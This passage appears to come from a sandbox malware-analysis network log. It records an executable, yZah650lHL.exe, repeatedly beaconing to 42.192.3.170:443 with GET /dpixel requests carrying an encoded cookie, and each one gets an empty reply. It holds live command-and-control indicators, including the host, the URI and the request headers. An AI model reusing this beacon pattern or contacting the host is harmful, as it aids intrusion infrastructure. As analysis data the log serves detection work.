2025-01-03 01:54:20 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:20 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:20 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50077	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:21 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:22 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:22 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50078	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:23 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:24 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:24 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50079	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:25 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:26 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:26 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50080	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:27 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:28 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:28 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50081	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:29 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:30 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:30 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50082	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:31 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:32 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:32 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50083	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:33 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:34 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:33 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50084	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:35 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:36 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:36 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50085	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:37 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:38 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:38 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50086	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:39 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:40 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:39 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50087	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:41 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:41 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:41 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50088	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:43 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:43 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:43 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50089	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:45 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:45 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:45 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50090	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:47 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:48 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:47 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50091	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:49 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:49 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:49 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50092	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:51 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:51 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:51 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50093	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:53 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:53 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:53 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50094	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:55 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:55 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:55 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50095	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:57 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:57 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:57 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50096	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:54:59 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:54:59 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:54:59 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50097	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:01 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:01 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:01 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50098	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:03 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:03 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:03 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50099	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:04 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:05 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:05 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	50100	42.192.3.170	443

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:06 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:07 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:07 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50101	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:08 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:09 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:09 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50102	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:10 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:11 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:11 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50103	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:12 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:13 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:13 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50104	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:14 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:15 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:15 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50105	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:16 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:17 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:16 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50106	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:18 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:18 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:18 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50107	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
